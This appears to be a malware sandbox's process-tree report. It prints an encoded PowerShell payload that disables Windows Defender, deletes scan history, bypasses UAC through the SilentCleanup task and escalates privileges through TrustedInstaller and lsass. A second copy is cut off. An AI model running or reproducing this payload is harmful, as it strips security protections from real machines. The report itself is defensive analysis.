                                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QAAoAGUAYwBoAG8AIABvAGYAZgAlACkAWwAxAF0ADQAKAHMAcAAgACcASABLAEMAVQA6AFwAVgBvAGwAYQB0AGkAbABlACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACcAIAAnAFQAbwBnAGcAbABlAEQAZQBmAGUAbgBkAGUAcgAnACAAQAAnAA0ACgBpAGYAIAAoACQAKABzAGMALgBlAHgAZQAgAHEAYwAgAHcAaQBuAGQAZQBmAGUAbgBkACkAIAAtAGwAaQBrAGUAIAAnACoAVABPAEcARwBMAEUAKgAnACkAIAB7ACQAVABPAEcARwBMAEUAPQA3ADsAJABLAEUARQBQAD0ANgA7ACQAQQA9ACcARQBuAGEAYgBsAGUAJwA7ACQAUwA9ACcATwBGAEYAJwB9AGUAbABzAGUAewAkAFQATwBHAEcATABFAD0ANgA7ACQASwBFAEUAUAA9ADcAOwAkAEEAPQAnAEQAaQBzAGEAYgBsAGUAJwA7ACQAUwA9ACcATwBOACcAfQANAAoADQAKAGkAZgAgACgAJABlAG4AdgA6ADEAIAAtAG4AZQAgADYAIAAtAGEAbgBkACAAJABlAG4AdgA6ADEAIAAtAG4AZQAgADcAKQAgAHsAIAAkAGUAbgB2ADoAMQA9ACQAVABPAEcARwBMAEUAIAB9AA0ACgANAAoAcwB0AGEAcgB0ACAAYwBtAGQAIAAtAGEAcgBnAHMAIAAnAC8AZAAvAHIAIABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAUwB5AHMAdAByAGEAeQAgACYAIAAiACUAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAJQBcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABNAFMAQQBTAEMAdQBpAEwALgBlAHgAZQAiACcAIAAtAHcAaQBuACAAMQANAAoADQAKACQAbgBvAHQAaQBmAD0AJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzAFwAUwBlAHQAdABpAG4AZwBzAFwAVwBpAG4AZABvAHcAcwAuAFMAeQBzAHQAZQBtAFQAbwBhAHMAdAAuAFMAZQBjAHUAcgBpAHQAeQBBAG4AZABNAGEAaQBuAHQAZQBuAGEAbgBjAGUAJwANAAoAbgBpACAAJABuAG8AdABpAGYAIAAtAGUAYQAgADAAfABvAHUAdAAtAG4AdQBsAGwAOwAgAHIAaQAgACQAbgBvAHQAaQBmAC4AcgBlAHAAbABhAGMAZQAoACcAUwBlAHQAdABpAG4AZwBzACcALAAnAEMAdQByAHIAZQBuAHQAJwApACAALQBSAGUAYwB1AHIAcwBlACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACQAbgBvAHQAaQBmACAARQBuAGEAYgBsAGUAZAAgADAAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAA7ACAAaQBmACAAKAAkAFQATwBHAEcATABFACAALQBlAHEAIAA3ACkAIAB7AHIAcAAgACQAbgBvAHQAaQBmACAARQBuAGEAYgBsAGUAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAH0ADQAKAA0ACgAkAHQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMAbwBtAE8AYgBqAGUAYwB0ACAAJwBTAGMAaABlAGQAdQBsAGUALgBTAGUAcgB2AGkAYwBlACcAOwAgACQAdABzAC4AQwBvAG4AbgBlAGMAdAAoACkAOwAgACQAYgBhAGYAZgBsAGkAbgBnAD0AJAB0AHMALgBHAGUAdABGAG8AbABkAGUAcgAoACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABEAGkAcwBrAEMAbABlAGEAbgB1AHAAJwApAA0ACgAkAGIAcABhAHMAcwA9ACQAYgBhAGYAZgBsAGkAbgBnAC4ARwBlAHQAVABhAHMAawAoACcAUwBpAGwAZQBuAHQAQwBsAGUAYQBuAHUAcAAnACkAOwAgACQAZgBsAGEAdwA9ACQAYgBwAGEAcwBzAC4ARABlAGYAaQBuAGkAdABpAG8AbgANAAoADQAKACQAdQA9ADAAOwAkAHcAPQB3AGgAbwBhAG0AaQAgAC8AZwByAG8AdQBwAHMAOwBpAGYAKAAkAHcALQBsAGkAawBlACcAKgAxAC0ANQAtADMAMgAtADUANAA0ACoAJwApAHsAJAB1AD0AMQB9ADsAaQBmACgAJAB3AC0AbABpAGsAZQAnACoAMQAtADEANgAtADEAMgAyADgAOAAqACcAKQB7ACQAdQA9ADIAfQA7AGkAZgAoACQAdwAtAGwAaQBrAGUAJwAqADEALQAxADYALQAxADYAMwA4ADQAKgAnACkAewAkAHUAPQAzAH0ADQAKAA0ACgAkAHIAPQBbAGMAaABhAHIAXQAxADMAOwAgACQAbgBmAG8APQBbAGMAaABhAHIAXQAzADkAKwAkAHIAKwAnACAAKABcACAAIAAgAC8AKQAnACsAJAByACsAJwAoACAAKgAgAC4AIAAqACAAKQAgACAAQQAgAGwAaQBtAGkAdABlAGQAIABhAGMAYwBvAHUAbgB0ACAAcAByAG8AdABlAGMAdABzACAAeQBvAHUAIABmAHIAbwBtACAAVQBBAEMAIABlAHgAcABsAG8AaQB0AHMAJwArACQAcgArACcAIAAgACAAIABgAGAAYAAnACsAJAByACsAWwBjAGgAYQByAF0AMwA5AA0ACgAkAHMAYwByAGkAcAB0AD0AJwAtAG4AbwBwACAALQB3AGkAbgAgADEAIAAtAGMAIAAmACAAewByAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgAC0AZQBhACAAMAA7ACQAQQB2AGUAWQBvAD0AJwArACQAbgBmAG8AKwAnADsAJABlAG4AdgA6ADEAPQAnACsAJABlAG4AdgA6ADEAOwAgACQAZQBuAHYAOgBfAF8AQwBPAE0AUABBAFQAXwBMAEEAWQBFAFIAPQAnAEkAbgBzAHQAYQBsAGwAZQByACcADQAKACQAcwBjAHIAaQBwAHQAKwA9ACcAOwBpAGUAeAAoACgAZwBwACAAUgBlAGcAaQBzAHQAcgB5ADoAOgBIAEsARQBZAF8AVQBzAGUAcgBzAFwAUwAtADEALQA1AC0AMgAxACoAXABWAG8AbABhAHQAaQBsAGUAKgAgAFQAbwBnAGcAbABlAEQAZQBmAGUAbgBkAGUAcgAgAC0AZQBhACAAMAApAFsAMABdAC4AVABvAGcAZwBsAGUARABlAGYAZQBuAGQAZQByACkAfQAnADsAIAAkAGMAbQBkAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsACAAJwArACQAcwBjAHIAaQBwAHQADQAKAA0ACgBpAGYAIAAoACQAdQAgAC0AZQBxACAAMAApACAAewANAAoAIAAgAHMAdABhAHIAdAAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGEAcgBnAHMAIAAkAHMAYwByAGkAcAB0ACAALQB2AGUAcgBiACAAcgB1AG4AYQBzACAALQB3AGkAbgAgADEAOwAgAGIAcgBlAGEAawANAAoAfQANAAoAaQBmACAAKAAkAHUAIAAtAGUAcQAgADEAKQAgAHsADQAKACAAIABpAGYAIAAoACQAZgBsAGEAdwAuAEEAYwB0AGkAbwBuAHMALgBJAHQAZQBtACgAMQApAC4AUABhAHQAaAAgAC0AaQBuAG8AdABsAGkAawBlACAAJwAqAHcAaQBuAGQAaQByACoAJwApAHsAcwB0AGEAcgB0ACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AYQByAGcAcwAgACQAcwBjAHIAaQBwAHQAIAAtAHYAZQByAGIAIAByAHUAbgBhAHMAIAAtAHcAaQBuACAAMQA7ACAAYgByAGUAYQBrAH0ADQAKACAAIABzAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgACQAKAAnAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAnACsAJABzAGMAcgBpAHAAdAArACcAIAAjACcAKQANAAoAIAAgACQAegA9ACQAYgBwAGEAcwBzAC4AUgB1AG4ARQB4ACgAJABuAHUAbABsACwAMgAsADAALAAkAG4AdQBsAGwAKQA7ACAAJAB3AGEAaQB0AD0AMAA7ACAAdwBoAGkAbABlACgAJABiAHAAYQBzAHMALgBTAHQAYQB0AGUAIAAtAGcAdAAgADMAIAAtAGEAbgBkACAAJAB3AGEAaQB0ACAALQBsAHQAIAAxADcAKQB7AHMAbABlAGUAcAAgAC0AbQAgADEAMAAwADsAIAAkAHcAYQBpAHQAKwA9ADAALgAxAH0ADQAKACAAIABpAGYAKABnAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgAC0AZQBhACAAMAApAHsAcgBwACAAaABrAGMAdQA6AFwAZQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAdwBpAG4AZABpAHIAIAAtAGUAYQAgADAAOwBzAHQAYQByAHQAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBhAHIAZwBzACAAJABzAGMAcgBpAHAAdAAgAC0AdgBlAHIAYgAgAHIAdQBuAGEAcwAgAC0AdwBpAG4AIAAxAH0AOwBiAHIAZQBhAGsADQAKAH0ADQAKAGkAZgAgACgAJAB1ACAALQBlAHEAIAAyACkAIAB7AA0ACgAgACAAJABBAD0AWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4AIgBEAGUAZgBgAGkAbgBlAEQAeQBuAGEAbQBpAGMAQQBzAHMAZQBtAGIAbAB5ACIAKAAxACwAMQApAC4AIgBEAGUAZgBgAGkAbgBlAEQAeQBuAGEAbQBpAGMATQBvAGQAdQBsAGUAIgAoADEAKQA7ACQARAA9AEAAKAApADsAMAAuAC4ANQB8ACUAewAkAEQAKwA9ACQAQQAuACIARABlAGYAYABpAG4AZQBUAHkAcABlACIAKAAnAEEAJwArACQAXwAsAA0ACgAgACAAMQAxADcAOQA5ADEAMwAsAFsAVgBhAGwAdQBlAFQAeQBwAGUAXQApAH0AIAA7ADQALAA1AHwAJQB7ACQARAArAD0AJABEAFsAJABfAF0ALgAiAE0AYQBrAGAAZQBCAHkAUgBlAGYAVAB5AHAAZQAiACgAKQB9ACAAOwAkAEkAPQBbAEkAbgB0ADMAMgBdADsAJABKAD0AIgBJAG4AdABgAFAAdAByACIAOwAkAFAAPQAkAEkALgBtAG8AZAB1AGwAZQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4AJABKACIAKQA7ACAAJABGAD0AQAAoADAAKQANAAoAIAAgACQARgArAD0AKAAkAFAALAAkAEkALAAkAFAAKQAsACgAJABJACwAJABJACwAJABJACwAJABJACwAJABQACwAJABEAFsAMQBdACkALAAoACQASQAsACQAUAAsACQAUAAsACQAUAAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsAFsASQBuAHQAMQA2AF0ALABbAEkAbgB0ADEANgBdACwAJABQACwAJABQACwAJABQACwAJABQACkALAAoACQARABbADMAXQAsACQAUAApACwAKAAkAFAALAAkAFAALAAkAEkALAAkAEkAKQANAAoAIAAgACQAUwA9AFsAUwB0AHIAaQBuAGcAXQA7ACAAJAA5AD0AJABEAFsAMABdAC4AIgBEAGUAZgBgAGkAbgBlAFAASQBuAHYAbwBrAGUATQBlAHQAaABvAGQAIgAoACcAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwAnACwAIgBrAGUAcgBuAGUAbABgADMAMgAiACwAOAAyADEANAAsADEALAAkAEkALABAACgAJABTACwAJABTACwAJABJACwAJABJACwAJABJACwAJABJACwAJABJACwAJABTACwAJABEAFsANgBdACwAJABEAFsANwBdACkALAAxACwANAApAA0ACgAgACAAMQAuAC4ANQB8ACUAewAkAGsAPQAkAF8AOwAkAG4APQAxADsAJABGAFsAJABfAF0AfAAlAHsAJAA5AD0AJABEAFsAJABrAF0ALgAiAEQAZQBmAGAAaQBuAGUARgBpAGUAbABkACIAKAAnAGYAJwArACQAbgArACsALAAkAF8ALAA2ACkAfQB9ADsAJABUAD0AQAAoACkAOwAwAC4ALgA1AHwAJQB7ACQAVAArAD0AJABEAFsAJABfAF0ALgAiAEMAcgBgAGUAYQB0AGUAVAB5AHAAZQAiACgAKQA7ACQAWgA9AFsAdQBpAG4AdABwAHQAcgBdADoAOgBzAGkAegBlAA0ACgAgACAAbgB2ACAAKAAnAFQAJwArACQAXwApACgAWwBBAGMAdABpAHYAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKAAkAFQAWwAkAF8AXQApACkAfQA7ACAAJABIAD0AJABJAC4AbQBvAGQAdQBsAGUALgBHAGUAdABUAHkAcABlACgAIgBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAGAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAYABzAGgAYQBsACIAKQA7AA0ACgAgACAAJABXAFAAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAVwByAGkAdABlACQASgAiACwAWwB0AHkAcABlAFsAXQBdACgAJABKACwAJABKACkAKQA7ACAAJABIAEcAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAQQBsAGwAbwBjAEgAYABHAGwAbwBiAGEAbAAiACwAWwB0AHkAcABlAFsAXQBdACcAaQBuAHQAMwAyACcAKQA7ACAAJAB2AD0AJABIAEcALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACQAWgApAA0ACgAgACAAJwBUAHIAdQBzAHQAZQBkAEkAbgBzAHQAYQBsAGwAZQByACcALAAnAGwAcwBhAHMAcwAnAHwAJQB7AGkAZgAoACEAJABwAG4AKQB7AG4AZQB0ADEAIABzAHQAYQByAHQAIAAkAF8AIAAyAD4AJgAxACAAPgAkAG4AdQBsAGwAOwAkAHAAbgA9AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABQAHIAbwBjAGUAcwBzAGUAcwBCAHkATgBhAG0AZQAoACQAXwApAFsAMABdADsAfQB9AA0ACgAgACAAJABXAFAALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsAEAAKAAkAHYALAAkAHAAbgAuAEgAYQBuAGQAbABlACkAKQA7ACAAJABTAFoAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAUwBpAHoAZQBPAGYAIgAsAFsAdAB5AHAAZQBbAF0AXQAnAHQAeQBwAGUAJwApADsAIAAkAFQAMQAuAGYAMQA9ADEAMwAxADAANwAyADsAIAAkAFQAMQAuAGYAMgA9ACQAWgA7ACAAJABUADEALgBmADMAPQAkAHYAOwAgACQAVAAyAC4AZgAxAD0AMQANAAoAIAAgACQAVAAyAC4AZgAyAD0AMQA7ACQAVAAyAC4AZgAzAD0AMQA7ACQAVAAyAC4AZgA0AD0AMQA7ACQAVAAyAC4AZgA2AD0AJABUADEAOwAkAFQAMwAuAGYAMQA9ACQAUwBaAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAFQAWwA0AF0AKQA7ACQAVAA0AC4AZgAxAD0AJABUADMAOwAkAFQANAAuAGYAMgA9ACQASABHAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAFMAWgAuAGkAbgB2AG8AawBlACgAJABuAHUAbABsACwAJABUAFsAMgBdACkAKQANAAoAIAAgACQASAAuACIARwBlAHQAYABNAGUAdABoAG8AZAAiACgAIgBTAHQAcgB1AGMAdAB1AHIAZQBUAG8AYABQAHQAcgAiACwAWwB0AHkAcABlAFsAXQBdACgAJABEAFsAMgBdACwAJABKACwAJwBiAG8AbwBsAGUAYQBuACcAKQApAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALABAACgAKAAkAFQAMgAtAGEAcwAgACQARABbADIAXQApACwAJABUADQALgBmADIALAAkAGYAYQBsAHMAZQApACkAOwAkAHcAaQBuAGQAbwB3AD0AMAB4ADAARQAwADgAMAA2ADAAMAANAAoAIAAgACQAOQA9ACQAVABbADAAXQAuACIARwBlAHQAYABNAGUAdABoAG8AZAAiACgAJwBDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAQAAoACQAbgB1AGwAbAAsACQAYwBtAGQALAAwACwAMAAsADAALAAkAHcAaQBuAGQAbwB3ACwAMAAsACQAbgB1AGwAbAAsACgAJABUADQALQBhAHMAIAAkAEQAWwA0AF0AKQAsACgAJABUADUALQBhAHMAIAAkAEQAWwA1AF0AKQApACkAOwAgAGIAcgBlAGEAawANAAoAfQANAAoADQAKACQAdwBkAHAAPQAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgAnAA0ACgAnACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACcALAAnAFwAVQBYACAAQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAnACwAJwBcAE0AcABFAG4AZwBpAG4AZQAnACwAJwBcAFMAcAB5AG4AZQB0ACcALAAnAFwAUgBlAGEAbAAtAFQAaQBtAGUAIABQAHIAbwB0AGUAYwB0AGkAbwBuACcAIAB8ACUAIAB7AG4AaQAgACgAJAB3AGQAcAArACQAXwApAC0AZQBhACAAMAB8AG8AdQB0AC0AbgB1AGwAbAB9AA0ACgANAAoAcwBwACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAIABTAGUAYwB1AHIAaQB0AHkAIABDAGUAbgB0AGUAcgBcAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAJwAgAEQAaQBzAGEAYgBsAGUATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AcwAgADEAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwAVQBYACAAQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAnACAATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AXwBTAHUAcABwAHIAZQBzAHMAIAAxACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACcAIABEAGkAcwBhAGIAbABlAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAIAAxACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBlAGEAIAAwAA0ACgBzAHAAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAFUAWAAgAEMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4AJwAgAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAF8AUwB1AHAAcAByAGUAcwBzACAAMQAgAC0AVAB5AHAAZQAgAEQAdwBvAHIAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAA0ACgBzAHAAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtACcAIABFAG4AYQBiAGwAZQBTAG0AYQByAHQAUwBjAHIAZQBlAG4AIAAwACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACcAIABEAGkAcwBhAGIAbABlAEEAbgB0AGkAUwBwAHkAdwBhAHIAZQAgADEAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAcwBwACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAJwAgAEQAaQBzAGEAYgBsAGUAQQBuAHQAaQBTAHAAeQB3AGEAcgBlACAAMQAgAC0AVAB5AHAAZQAgAEQAdwBvAHIAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAA0ACgBuAGUAdAAxACAAcwB0AG8AcAAgAHcAaQBuAGQAZQBmAGUAbgBkAA0ACgBzAGMALgBlAHgAZQAgAGMAbwBuAGYAaQBnACAAdwBpAG4AZABlAGYAZQBuAGQAIABkAGUAcABlAG4AZAA9ACAAUgBwAGMAUwBzAC0AVABPAEcARwBMAEUADQAKAGsAaQBsAGwAIAAtAE4AYQBtAGUAIABNAHAAQwBtAGQAUgB1AG4AIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAcwB0AGEAcgB0ACAAKAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAKwAnAFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAE0AcABDAG0AZABSAHUAbgAuAGUAeABlACcAKQAgAC0AQQByAGcAIAAnAC0ARABpAHMAYQBiAGwAZQBTAGUAcgB2AGkAYwBlACcAIAAtAHcAaQBuACAAMQANAAoAZABlAGwAIAAoACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEQAYQB0AGEAKwAnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwAUwBjAGEAbgBzAFwAbQBwAGUAbgBnAGkAbgBlAGQAYgAuAGQAYgAnACkAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIwAjACAAQwBvAG0AbQBlAG4AdABlAGQAIAA9ACAAawBlAGUAcAAgAHMAYwBhAG4AIABoAGkAcwB0AG8AcgB5AA0ACgBkAGUAbAAgACgAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQArACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABTAGMAYQBuAHMAXABIAGkAcwB0AG8AcgB5AFwAUwBlAHIAdgBpAGMAZQAnACkAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAJwBAACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAAOwAgAGkAZQB4ACgAKABnAHAAIABSAGUAZwBpAHMAdAByAHkAOgA6AEgASwBFAFkAXwBVAHMAZQByAHMAXABTAC0AMQAtADUALQAyADEAKgBcAFYAbwBsAGEAdABpAGwAZQAqACAAVABvAGcAZwBsAGUARABlAGYAZQBuAGQAZQByACAALQBlAGEAIAAwACkAWwAwAF0ALgBUAG8AZwBnAGwAZQBEAGUAZgBlAG4AZABlAHIAKQANAAoAIwAtAF8ALQAjAA==
                                                                                                                    7⤵
                                                                                                                    • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                    PID:5552
                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                      "C:\Windows\system32\sc.exe" qc windefend
                                                                                                                      8⤵
                                                                                                                      • Launches sc.exe
                                                                                                                      PID:3888
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
                                                                                                                      8⤵
                                                                                                                        PID:4856
                                                                                                                      • C:\Windows\system32\whoami.exe
                                                                                                                        "C:\Windows\system32\whoami.exe" /groups
                                                                                                                        8⤵
                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                        PID:1648
                                                                                                                      • C:\Windows\system32\net1.exe
                                                                                                                        "C:\Windows\system32\net1.exe" start TrustedInstaller
                                                                                                                        8⤵
                                                                                                                          PID:2064
                                                                                                                        • C:\Windows\system32\net1.exe
                                                                                                                          "C:\Windows\system32\net1.exe" start lsass
                                                                                                                          8⤵
                                                                                                                            PID:2880
                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QAAoAGUAYwBoAG8AIABvAGYAZgAlACkAWwAxAF0ADQAKAHMAcAAgACcASABLAEMAVQA6AFwAVgBvAGwAYQB0AGkAbABlACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACcAIAAnAFQAbwBnAGcAbABlAEQAZQBmAGUAbgBkAGUAcgAnACAAQAAnAA0ACgBpAGYAIAAoACQAKABzAGMALgBlAHgAZQAgAHEAYwAgAHcAaQBuAGQAZQBmAGUAbgBkACkAIAAtAGwAaQBrAGUAIAAnACoAVABPAEcARwBMAEUAKgAnACkAIAB7ACQAVABPAEcARwBMAEUAPQA3ADsAJABLAEUARQBQAD0ANgA7ACQAQQA9ACcARQBuAGEAYgBsAGUAJwA7ACQAUwA9ACcATwBGAEYAJwB9AGUAbABzAGUAewAkAFQATwBHAEcATABFAD0ANgA7ACQASwBFAEUAUAA9ADcAOwAkAEEAPQAnAEQAaQBzAGEAYgBsAGUAJwA7ACQAUwA9ACcATwBOACcAfQANAAoADQAKAGkAZgAgACgAJABlAG4AdgA6ADEAIAAtAG4AZQAgADYAIAAtAGEAbgBkACAAJABlAG4AdgA6ADEAIAAtAG4AZQAgADcAKQAgAHsAIAAkAGUAbgB2ADoAMQA9ACQAVABPAEcARwBMAEUAIAB9AA0ACgANAAoAcwB0AGEAcgB0ACAAYwBtAGQAIAAtAGEAcgBnAHMAIAAnAC8AZAAvAHIAIABTAGUAYwB1AHIAaQB0AHkASABlAGEAbAB0AGgAUwB5AHMAdAByAGEAeQAgACYAIAAiACUAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAJQBcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABNAFMAQQBTAEMAdQBpAEwALgBlAHgAZQAiACcAIAAtAHcAaQBuACAAMQANAAoADQAKACQAbgBvAHQAaQBmAD0AJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABDAHUAcgByAGUAbgB0AFYAZQByAHMAaQBvAG4AXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzAFwAUwBlAHQAdABpAG4AZwBzAFwAVwBpAG4AZABvAHcAcwAuAFMAeQBzAHQAZQBtAFQAbwBhAHMAdAAuAFMAZQBjAHUAcgBpAHQAeQBBAG4AZABNAGEAaQBuAHQAZQBuAGEAbgBjAGUAJwANAAoAbgBpACAAJABuAG8AdABpAGYAIAAtAGUAYQAgADAAfABvAHUAdAAtAG4AdQBsAGwAOwAgAHIAaQAgACQAbgBvAHQAaQBmAC4AcgBlAHAAbABhAGMAZQAoACcAUwBlAHQAdABpAG4AZwBzACcALAAnAEMAdQByAHIAZQBuAHQAJwApACAALQBSAGUAYwB1AHIAcwBlACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACQAbgBvAHQAaQBmACAARQBuAGEAYgBsAGUAZAAgADAAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAA7ACAAaQBmACAAKAAkAFQATwBHAEcATABFACAALQBlAHEAIAA3ACkAIAB7AHIAcAAgACQAbgBvAHQAaQBmACAARQBuAGEAYgBsAGUAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAH0ADQAKAA0ACgAkAHQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMAbwBtAE8AYgBqAGUAYwB0ACAAJwBTAGMAaABlAGQAdQBsAGUALgBTAGUAcgB2AGkAYwBlACcAOwAgACQAdABzAC4AQwBvAG4AbgBlAGMAdAAoACkAOwAgACQAYgBhAGYAZgBsAGkAbgBnAD0AJAB0AH